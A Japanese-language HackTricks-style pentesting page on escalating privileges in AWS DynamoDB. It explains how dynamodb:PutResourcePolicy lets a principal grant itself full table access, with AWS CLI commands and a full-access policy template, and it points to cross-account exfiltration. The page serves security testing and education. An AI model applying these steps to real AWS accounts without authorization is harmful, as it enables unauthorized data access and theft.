# AWS - DynamoDB Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## dynamodb

dynamodb の詳細は以下を参照してください:

{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}

### `dynamodb:PutResourcePolicy`、必要に応じて `dynamodb:GetResourcePolicy`

2024年3月以降、AWSはDynamoDB向けに*resource based policies*を提供しています（[AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)）。

つまり、テーブルに対して `dynamodb:PutResourcePolicy` を持っていれば、自分自身や他の任意のプリンシパルにテーブルへのフルアクセスを付与できます。

ランダムなプリンシパルに `dynamodb:PutResourcePolicy` を付与してしまうのはしばしば誤って起こります。管理者が `dynamodb:Put*` を付与するとそのプリンシパルはデータベースにアイテムをputするだけだと考えたり、あるいは2024年3月以前にその権限セットを付与していた場合などです...

理想的には、`dynamodb:GetResourcePolicy` も持っていると、他の重要な権限を上書きせずに、必要な追加権限だけを挿入できます:
```bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
```
現在のポリシーを取得できない場合は、プリンシパルに対してテーブルへの完全なアクセスを許可する以下のポリシーを使用してください:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
```
カスタマイズが必要な場合、可能なすべての DynamoDB アクションの一覧はこちら: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html)。また、resource based policy を介して許可できるすべてのアクションと *AND which of these can be used cross-account (think data exfiltration!)* の一覧はこちら: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)

policy document `policy.json` が準備できたら、resource policy を設定します:
```bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
```
これで必要な権限が揃っているはずです。

### Post Exploitation

私の知る限り、**AWSの`dynamodb`に対するいくつかの権限を持っているだけで特権を直接昇格させる他の方法はありません**。テーブルから**機密情報を読み取ること**（それにはAWSの認証情報が含まれている可能性があります）やテーブルに**情報を書き込むこと**（lambda code injections... のような他の脆弱性を引き起こす可能性があります）は可能ですが、これらのオプションはすべて既に**DynamoDB Post Exploitation page**で検討されています：

{{#ref}}
../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
{{#endref}}

### TODO: data Streams を悪用してデータを読み取る

{{#include ../../../../banners/hacktricks-training.md}}
